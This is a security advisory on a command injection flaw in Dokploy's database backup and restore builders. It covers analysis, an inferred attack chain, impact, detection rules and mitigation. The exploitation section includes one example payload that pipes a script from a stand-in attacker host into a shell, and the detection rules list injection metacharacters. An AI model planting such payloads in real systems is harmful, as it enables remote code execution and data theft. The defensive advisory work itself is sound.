CVE-2026-72881

Executive Summary

CVE-2026-72881 is an operating system command injection vulnerability (CWE-78) in Dokploy, a free, self-hostable Platform as a Service (PaaS) product, affecting all versions prior to 0.29.13. The flaw exists in the database backup and restore command builders, which interpolate database names, usernames, and passwords into nested shell command strings that are passed to child_process.exec(). An authenticated administrator with permission to create databases and configure backups can leverage crafted database configuration fields to execute arbitrary commands inside PostgreSQL, MariaDB, MySQL, MongoDB, or LibSQL containers, leading to exposure of database data and credentials, and potentially container escape when the container runs overprivileged.

Technical Analysis

The vulnerability is rooted in how Dokploy constructs shell command strings for database backup and restore operations. The affected source files, packages/server/src/utils/backups/utils.ts and packages/server/src/utils/restore/utils.ts, build "nested" shell command strings that are ultimately executed with Node.js child_process.exec(). Unlike execFile() or spawn() with an argument array, child_process.exec() invokes the command through /bin/sh -c, meaning the entire constructed string is parsed by the system shell. Consequently, any shell metacharacter — semicolons (;), command substitution ($()), backticks, logical operators (&&, ||), or pipes (|) — present inside interpolated values is interpreted by the shell rather than treated as literal data.

The vulnerable interpolation points are the database configuration fields: database names, usernames, and passwords. These fields are concatenated directly into the shell command template without sanitization or shell escaping. Because the builders are described as constructing "nested" shell command strings, it is plausible that commands are composed as strings that are later re-parsed by a second shell layer, compounding the injection surface and making escaping attempts even less reliable. The NVD description does not provide the exact command templates, variable names, or quoting scheme; therefore the precise injection payload syntax cannot be confirmed from the available data. However, the vulnerability class is unambiguous: user-controllable (administrator-controllable) string values flowing into a shell interpreter.

The attack surface is limited to authenticated administrators who hold privileges to create databases and configure backup or restore jobs. This is a post-authentication flaw — it cannot be triggered by an unauthenticated remote attacker unless additional authentication bypass conditions exist, which are not described. However, this limitation is partially offset by the product context: Dokploy is a self-hosted PaaS, often exposed to the internet, and administrator accounts are high-value targets. A compromised or malicious administrator account (or an insider) can achieve arbitrary code execution inside one or more database containers managed by the platform.

The affected database ecosystems are PostgreSQL, MariaDB, MySQL, MongoDB, and LibSQL. The execution context is the respective database container. Because database containers typically house credentials, configuration, and the actual data stores, code execution at this layer grants significant access. The NVD description explicitly warns that "escape" becomes possible "when a container is overprivileged" — i.e., when the container is run with elevated privileges, host mounted volumes, or capabilities that permit breaking out to the underlying host.

No CVSS vector or score was assigned (CVSS: N/A). The EPSS score is 0.00474 (39.0% percentile of exploited CVEs), indicating a low current probability of exploitation in the wild. The vulnerability is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. No public proof of concept, Nuclei template, or exploit code is available at the time of writing; analysis below therefore infers attack chains at the vulnerability-class level.

Exploitation Scenarios

No public PoC is available; the attack chain is inferred from the vulnerability class (CWE-78) and the NVD description. The following scenario outlines how an attacker would realistically exploit CVE-2026-72881.

1. Reconnaissance / Target Identification: An attacker identifies internet-facing Dokploy instances. Self-hosted PaaS deployments are frequently exposed on standard web ports, and Dokploy's login/console interface renders a distinctive title and HTML, which can be fingerprinted. Alternatively, an attacker may already have valid low-privilege or administrative access through credential theft, phishing, or insider compromise. Since the vulnerable functionality requires administrator privileges, the attacker must first obtain or possess an administrator account on the target Dokploy instance.

2. Triggering the Flaw: With administrator access, the attacker navigates to the database and backup configuration interface. The attacker creates a new database definition or modifies an existing one whose configuration fields — database name, username, or password — contain shell metacharacters. For example, a password value such as x; curl http://attacker.example/x.sh | sh or a username containing $(...) command substitution would be stored as-is.

3. Payload / Execution Method: The attacker then triggers a backup or restore operation, either manually via the UI or by scheduling/immediate execution of a backup job. The vulnerable command builder in packages/server/src/utils/backups/utils.ts or packages/server/src/utils/restore/utils.ts interpolates the malicious field into the nested shell command string, which is passed to child_process.exec(). Because exec() routes the full string to /bin/sh -c, the injected metacharacters are interpreted by the shell, and the attacker's payload executes inside the target database container (PostgreSQL, MariaDB, MySQL, MongoDB, or LibSQL). The exact quoting/escaping context is not documented in the description, but the class-level mechanism is shell command injection.

4. Post-Exploitation Impact: The attacker now has arbitrary command execution as the database service account inside the container. Immediate post-exploitation objectives include: dumping environment variables and configuration files for database credentials; extracting database contents directly; establishing persistence (e.g., scheduled jobs inside the container); and using the container as a pivot point into the wider PaaS infrastructure. If the container is overprivileged — running with elevated capabilities, host PID/network namespaces, mounted host sockets, or privileged mode — the attacker may attempt a container escape to gain code execution on the underlying Docker host or Kubernetes node, effectively taking over the entire self-hosted platform and all tenant workloads.

Additional realistic variations: a malicious insider administrator could abuse the flaw silently to exfiltrate other tenants' database data; an external attacker who compromises an admin session (e.g., via XSS or credential stuffing) could chain it to full host compromise. It is also plausible that backup-triggered payloads are executed automatically on a schedule, providing a persistence and stealth vector (attacker plants payload, next scheduled backup fires it).

Impact Assessment

The business impact of CVE-2026-72881 is high for organizations using Dokploy as their PaaS layer, despite the lack of an assigned CVSS score. The vulnerability enables authenticated administrator-level command execution, which translates into:

• Confidentiality loss: Direct access to all data stored in PostgreSQL, MariaDB, MySQL, MongoDB, and LibSQL instances managed by the platform, including application data and stored secrets.
• Credential compromise: Database credentials and configuration secrets held in container environment variables or mounted configuration files can be harvested.
• Integrity loss: An attacker can alter, encrypt (ransomware-style), or destroy database contents and manipulate backup data to corrupt restore operations.
• Availability loss: Database containers can be stopped, deleted, or used to launch further attacks; a full container escape could take down the entire PaaS infrastructure.
• Blast radius expansion: Dokploy is multi-tenant by design in any shared deployment. Compromise of one database container can lead to lateral movement across the platform, affecting all applications hosted on that instance. The worst case is host/node compromise via overprivileged container escape, which exposes the underlying orchestration layer.

Affected systems are all Dokploy deployments running versions prior to 0.29.13. The OSV record lists the package root with an unfixed version range (0→unfixed), and no explicit CPE/affected-version enumeration was provided beyond the "prior to 0.29.13" range in the description. Given EPSS at 0.00474 (39.0% percentile) and no KEV listing, mass exploitation is not currently observed, but the vulnerability is trivially reliable in nature once an admin foothold exists, and awareness will increase as the patch propagates. Organizations should treat this as a high-priority hygiene fix even without evidence of in-the-wild exploitation.

Detection Guidance

The following detection content targets observable artifacts of CVE-2026-72881 exploitation: Node.js processes spawning shells, shell command lines containing both database tooling references and metacharacters, and HTTP request bodies containing command injection sequences. Rules are generic where specific implementation details are unknown and should be tuned to local process and logging conventions.

Sigma Rule

title: Suspicious Shell Spawn from Dokploy Node.js Backup/Restore Process
id: 6d1f4a2e-8c3b-4f7d-9a5e-2b8c1d9e0f4a
status: experimental
description: >
  Detects potential command injection via CVE-2026-72881 in Dokploy. 
  The vulnerable code path passes nested shell command strings to child_process.exec(),
  which spawns /bin/sh or /bin/bash from a Node.js parent process. This rule alerts on
  Node.js (node) processes spawning a shell whose command line contains shell chaining
  metacharacters commonly used in injected payloads.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-72881
author: Valters IT SOC
date: 2026/06/01
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/node'
      - '/nodejs'
  selection_shell:
    Image|endswith:
      - '/sh'
      - '/bash'
  selection_metachar:
    CommandLine|contains:
      - '&&'
      - ';'
      - '`'
      - '$('
      - '|'
  condition: selection_parent and selection_shell and selection_metachar
  timeframe: 5m
falsepositives:
  - Legitimate administrative commands manually executed inside containers
  - Backup systems that legitimately chain commands with shell operators
level: high
tags:
  - attack.execution
  - attack.t1059
  - cve.2026.72881

YARA Rule

rule Detect_Dokploy_Backup_Command_Injection_CVE_2026_72881
{
    meta:
        author = "Valters IT SOC"
        description = "Hunts for Dokploy source code, archives, or log dumps referencing the vulnerable backup/restore command builders and child_process.exec usage associated with CVE-2026-72881."
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-72881"
        cve = "2026-72881"
        date = "2026-06-01"
    strings:
        $s1 = "packages/server/src/utils/backups/utils.ts" ascii
        $s2 = "packages/server/src/utils/restore/utils.ts" ascii
        $s3 = "child_process.exec" ascii
        $s4 = "PostgreSQL" ascii nocase
        $s5 = "MariaDB" ascii nocase
        $s6 = "MySQL" ascii nocase
        $s7 = "MongoDB" ascii nocase
        $s8 = "LibSQL" ascii nocase
        $s9 = "backup" ascii nocase
    condition:
        uint16(0) == 0x5A4D or filesize < 10MB
        and (($s1 or $s2 or $s3) and 3 of ($s4,$s5,$s6,$s7,$s8,$s9))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-72881 Dokploy Backup/Restore Command Injection Attempt"; flow:established,to_server; content:"POST"; http_method; pcre:"/(\$\(|\`|\|\||&&|;)/i"; http_client_body; classtype:attempted-admin; reference:cve,2026-72881; sid:202672881; rev:1;)

Note: Because the exact API endpoints are not disclosed in the NVD description, this rule generically flags HTTP request bodies containing shell metacharacter sequences that are characteristically used in command injection payloads. Tune to the Dokploy web root and exclude legitimate uses of such characters in form data.

Elastic Detection

process where event.action == "exec" and process.parent.name in ("node", "nodejs")
  and process.name in ("sh", "bash")
  and (
    process.command_line like "*&&*"
    or process.command_line like "*;*"
    or process.command_line like "*`*"
    or process.command_line like "*$(*"
  )

The EQL query correlates Node.js parent processes spawning POSIX shells with command-chaining sequences in the command line, matching the execution pattern of child_process.exec() abuse described in CVE-2026-72881.

Splunk SPL Query

index=* (sourcetype=process_creation OR sourcetype=linux_audit OR sourcetype=sysmon_linux)
| where parent_process IN ("*node", "*nodejs")
  AND process IN ("*sh", "*bash")
  AND (command_line LIKE "%&&%" OR command_line LIKE "%;%" OR command_line LIKE "%`%" OR command_line LIKE "%$(%")
| table _time, host, user, parent_process, process, command_line, pid
| eval alert="CVE-2026-72881 Potential Dokploy Command Injection", signature_id="T1059"
| sort 0 _time

Wazuh OSSEC Rule

<group name="dokploy,command_injection,cve-2026-72881,">
  <rule id="100281" level="12" frequency="5" timeframe="120">
    <if_matched_sid>80700</if_matched_sid>
    <field name="audit.exe" type="pcre">/bin/sh|/usr/bin/sh|/bin/bash|/usr/bin/bash</field>
    <field name="audit.cwd" type="pcre">(?i)dokploy|/app|/opt/dokploy</field>
    <description>Possible CVE-2026-72881 command injection: shell spawned from Dokploy backup/restore flow with suspicious arguments</description>
    <group>command_injection,dokploy,execution,</group>
  </rule>
</group>

This Wazuh rule relies on auditd process-execution telemetry and flags frequent shell spawns originating from Dokploy working directories. Adjust the audit.cwd pattern to match the actual Dokploy install path.

Mitigation & Patch Guidance

Patch confidence is rated 2/4 (CLAIMED) — the fix is disclosed by a single source (OSV) and has not been independently confirmed. No vendor advisory or detailed patch diff is available. Proceed with verification after upgrade.

Immediate mitigations:

1. Restrict administrative access to the Dokploy console: enforce network-level allowlists (VPN/bastion), enable strong multi-factor authentication, and audit administrator accounts. The attack surface is the administrator role, so reducing admin exposure directly reduces risk.
2. If an immediate upgrade is not possible, disable or avoid the use of database backup/restore scheduling for database configurations containing non-alphanumeric characters in names, usernames, or passwords until patching is complete.
3. Review and rotate all database credentials managed by Dokploy if any suspicious activity is observed in backup logs or database containers.
4. Remove overprivileged container configurations: ensure database containers do not run in privileged mode, do not mount host filesystem paths or the Docker socket, and drop unnecessary capabilities. This reduces the impact of a container escape.

Patch / Upgrade Steps:

1. Upgrade Dokploy to version 0.29.13 or later, which contains the fix for CVE-2026-72881 per the OSV advisory.
2. After upgrading, verify the installed version via the Dokploy admin console or deployment manifest.
3. Re-test database backup and restore operations with database names/usernames/passwords containing shell metacharacters to confirm the injection is neutralized (e.g., fields render as literals and no shell interpretation occurs).
4. Monitor the Dokploy GitHub repository and OSV feed for the official fix commit and for any follow-up advisories; treat the patch as unconfirmed until the vendor or a second source publishes corroboration.

Long-term hardening:

1. The vendor should replace child_process.exec() with execFile()/spawn() argument-array invocation, or apply strict allowlist-based validation/escaping of all configuration fields that flow into command builders. Organizations should track this remediation in vendor risk assessments.
2. Apply the principle of least privilege to all containers managed by the PaaS: no privileged containers, read-only root filesystems where possible, and seccomp/AppArmor profiles.
3. Enable centralized logging of process creation, container events, and backup/restore job execution, and feed the detection rules above into the SIEM.
4. Periodically audit administrator accounts and database configuration fields for unexpected metacharacters or unusually long values.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-72881
2. OSV Advisory (patch source): https://osv.dev/vulnerability/CVE-2026-72881
3. Dokploy Official Site / GitHub Repository: https://dokploy.com / https://github.com/Dokploy/dokploy
4. CWE-78 OS Command Injection: https://cwe.mitre.org/data/definitions/78.html
5. ATT&CK Technique T1059 — Command and Scripting Interpreter: https://attack.mitre.org/techniques/T1059/

No known threat actor campaigns, exploit-in-the-wild evidence, or CISA KEV listing exist for CVE-2026-72881 at the time of writing.